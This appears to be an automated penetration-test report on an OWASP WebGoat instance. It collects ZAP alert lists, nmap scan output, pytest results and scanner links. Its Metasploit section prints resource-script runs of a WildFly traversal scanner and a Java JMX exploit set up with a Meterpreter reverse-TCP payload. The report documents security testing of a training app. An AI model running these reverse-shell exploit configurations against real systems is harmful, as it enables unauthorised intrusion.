



# Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

02/10/2023

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Confidential

# Executive Summary

## Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

## Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

## Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

## Vulnerabilities and Recommendations

# Sonar Cloud Code Scan Report

GitHub Issue number # 439

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Pytest-Playwright Test Output Issue

GitHub Issue number # 438

GitHub Issue URL : [Here!](#)

## **Playwright pytest**

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,  
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test\_AsyncWebGoatUseCases.py ... [ 60%]

src/test\_WebGoatUseCases.py .. [100%]

```
===== 5 passed in 24.20s  
=====
```

Stop pytests....

# ZAP Full Scan Report

GitHub Issue number # 437

GitHub Issue URL : [Here!](#)

- Site: <http://20.219.139.35:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Cookie No HttpOnly Flag** [10010] total: 1:
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Cookie Slack Detector** [90027] total: 2:
    - <http://20.219.139.35:8080/WebGoat/login>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Cookie without SameSite Attribute** [10054] total: 1:
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Base64 Disclosure** [10094] total: 1:
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Non-Storable Content** [10049] total: 1:
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/WebGoat/login>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/WebGoat/login>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/WebGoat/login>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/WebGoat/login>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Session Management Response Identified** [10112] total: 2:
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
    - <http://20.219.139.35:8080/WebGoat/start.mvc>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 24:
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6375389136

# Metasploit-ParrotOS Test output

GitHub Issue number # 436

GitHub Issue URL : [Here!](#)

**parrotOS**  
**metasploit**

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 3s (7764 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3

openssh-client openssh-server openssh-sftp-server openssl

python3-typing-extensions

23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 9186 kB of archives.

After this operation, 63.5 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :



=====

Target Web Goat Instance IP Address : 20.219.139.35

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[\*] Processing ./src/exploitwildflydir\_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir\_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly\_traversal):

Name Current Setting Required Description

-----

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL\_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[\*] resource (./src/exploitwildflydir\_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir\_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir\_traversal.rc)> exit

-----

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[\*] Processing ./src/exploitjavajmxreversehttps.rc for ERB directives.

resource (./src/exploitjavajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

[\*] No payload configured, defaulting to java/meterpreter/reverse\_tcp

resource (./src/exploitjavajmxreversehttps.rc)> show options

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

JMXRMI	jmxrmi	yes		The name where the JMX RMI interface is bound
JMX_PASSWORD		no		The password to interact with an authenticated JMX endpoint
JMX_ROLE		no		The role to interact with an authenticated JMX endpoint
RHOSTS		yes		The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT		yes		The target port (TCP)
SRVHOST	0.0.0.0	yes		The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes		The local port to listen on.
SSLCert		no		Path to a custom SSL certificate (default is randomly generated)
URIPATH		no		The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse\_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

-----

LHOST	172.17.0.2	yes		The listen address (an interface may be specified)
LPORT	4444	yes		The listen port

Exploit target:

Id	Name
----	------

---

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

[\*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp

resource (./src/exploit/javajmxreversehttps.rc)> exploit

[\*] Payload Handler Started as Job

resource (./src/exploit/javajmxreversehttps.rc)> exit

=====

# Nmap-ParrotOS Scan output

GitHub Issue number # 435

GitHub Issue URL : [Here!](#)

**parrotOS**  
**nmap**

Nmap vulnerability scanning  
for 20.219.139.35

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

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Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [526 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1147 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (8097 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

23 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
openssh-client openssh-server openssh-sftp-server openssl  
python3-typing-extensions  
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 9186 kB of archives.  
After this operation, 63.5 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Reading package lists...  
Building dependency tree...  
Reading state information...  
Calculating upgrade...  
The following packages will be upgraded:  
bind9-dnsutils bind9-host bind9-libs dnsutils file libaom0 libgssapi-krb5-2  
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0  
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3  
openssh-client openssh-server openssh-sftp-server openssl  
python3-typing-extensions  
23 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.  
Need to get 9186 kB of archives.  
After this operation, 63.5 kB disk space will be freed.  
Do you want to continue? [Y/n] Abort.  
Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease  
Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease  
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease  
Reading package lists...  
Building dependency tree...  
Reading state information...  
23 packages can be upgraded. Run 'apt list --upgradable' to see them.  
Running basic nmap scan...  
Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-02 03:00 UTC  
Nmap scan report for 20.219.139.35  
Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 ff:ea:7e:ee:e4:eb:f6:cb:d8:d0:51:f9:4b:56:6f:81 (ECDSA)

|\_ 256 61:0f:b1:65:5e:75:4f:40:de:0f:c8:cb:ad:51:a6:59 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|\_ http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 02 Oct 2023 03:03:48 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest, HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|\_ Date: Mon, 02 Oct 2023 03:03:47 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter\_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 02 Oct 2023 03:03:47 GMT  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff  
| Content-Type: application/json  
| "timestamp" : "2023-10-02T03:03:47.466+00:00",  
| "status" : 404,  
| "error" : "Not Found",  
| "path" : "/"  
| HTTPOptions:  
| HTTP/1.1 404 Not Found  
| Expires: 0  
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate  
| X-XSS-Protection: 1; mode=block  
| Pragma: no-cache  
| X-Frame-Options: DENY  
| Date: Mon, 02 Oct 2023 03:04:05 GMT  
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH  
| Connection: close  
| Vary: Origin  
| Vary: Access-Control-Request-Method  
| Vary: Access-Control-Request-Headers  
| X-Content-Type-Options: nosniff

```
| Content-Type: application/json
| "timestamp" : "2023-10-02T03:04:05.404+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"
```

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/2%Time=651A3313%P=x86\_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Mon, 02 Oct 2023 03:03:4

SF:7 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Mon, 02\x

SF:20Oct 2023 03:03:47 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Mon, 02

SF:0Oct 2023 03:03:48 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba  
SF:d Request Content-Length: 0 Connection: close  
")%  
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:  
SF:00 Connection: close  
")%r(SMBProgNeg,42,"HTTP/1.1 400\n  
SF:x20Bad Request Content-Length: 0 Connection: close  
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng  
SF:th: 0 Connection: close  
")%r(LDAPSearchReq,42,"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co  
SF:ntent-Length: 0 Connection: close  
")%r(WMSRequest,42,"H  
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection  
SF:: close  
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques  
SF:t Content-Length: 0 Connection: close  
");  
=====NEXT SERVICE FINGERPRINT (SUBMIT  
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/2%Time=651A3313%P=x86\_64-pc-linux-  
gnu%r(Ge  
SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach  
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate  
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra  
SF:me-Options: DENY Date: Mon, 02 Oct 2023 03:03:47\x  
SF:20GMT Connection: close Vary: Origin Vary: Access-Con  
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con  
SF:tent-Type-Options: nosniff Content-Type: application/json \n



SF:r { \"timestamp\" : \"2023-10-02T03:03:47.466+00:00\"  
SF:, \"status\" : 404, \"error\" : \"Not  
SF:Found\", \"path\" : \"\" } )%r(WMSRequest,42,\"HTTP/1.  
SF:1 400 Bad Request Content-Length: 0 Connection: cl  
SF:ose  
\" )%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C  
SF:ontent-Length: 0 Connection: close  
\" )%r(SqueezeCenter\_C  
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co  
SF:nnection: close  
\" )%r(GenericLines,42,\"HTTP/1.1 400 Bad  
SF: Request Content-Length: 0 Connection: close  
\" )%r  
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0  
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida  
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X  
SF:-Frame-Options: DENY Date: Mon, 02 Oct 2023 03:04:  
SF:05 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA  
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin  
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque  
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap  
SF:plication/json  
{ \"timestamp\" : \"2023-10-02T03:  
SF:04:05.404+00:00\", \"status\" : 404, \"error\\n  
SF:\" : \"Not Found\", \"path\" : \"\" } )%r(RTSP  
SF:Request,42,\"HTTP/1.1 400 Bad Request Content-Length: 0\\n  
SF:r Connection: close  
\" );  
Device type: general purpose|storage-misc|firewall  
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), Synology DiskStation Manager 5.X  
(86%), FreeBSD 6.X (85%), WatchGuard Firewall 11.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:4.0 cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation\_manager:5.1 cpe:/o:freebsd:freebsd:6.2 cpe:/o:watchguard:fireware:11.8

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 5332.60 ms 20.219.139.35

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 354.59 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-02 03:05 UTC

Nmap scan report for 20.219.139.35

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 ( <https://nmap.org> ) at 2023-10-02 03:05 UTC

Nmap scan report for 20.219.139.35

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

# ZAP Full Scan Report

GitHub Issue number # 434

GitHub Issue URL : [Here!](#)

- Site: <http://20.219.139.35:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/login>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6375389136

# ZAP Full Scan Report

GitHub Issue number # 433

GitHub Issue URL : [Here!](#)

- Site: <http://20.219.139.35:8080> **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **Storable and Cacheable Content** [10049] total: 4:
    - <http://20.219.139.35:8080/>
    - <http://20.219.139.35:8080/robots.txt>
    - <http://20.219.139.35:8080/sitemap.xml>
    - <http://20.219.139.35:8080/WebGoat/registration>
  - **User Agent Fuzzer** [10104] total: 12:
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - <http://20.219.139.35:8080/WebGoat>
    - ..

View the [following link](#) to download the report. RunnerID:6375389136

# Sonar Cloud Code Scan Report

GitHub Issue number # 432

GitHub Issue URL : [Here!](#)

**SonarQube Cloud code scan**

## SonarCloud Scan for OWASP WebGoat

Go to [https://sonarcloud.io/project/overview?id=pradyumna-muppirala\\_WebGoatSAST](https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST) for full report of SonarCloud with Github SSO.

# Snyk Report

GitHub Issue number # 431

GitHub Issue URL : [Here!](#)

**Snyk\_scan**

## Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

## Confidencial

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.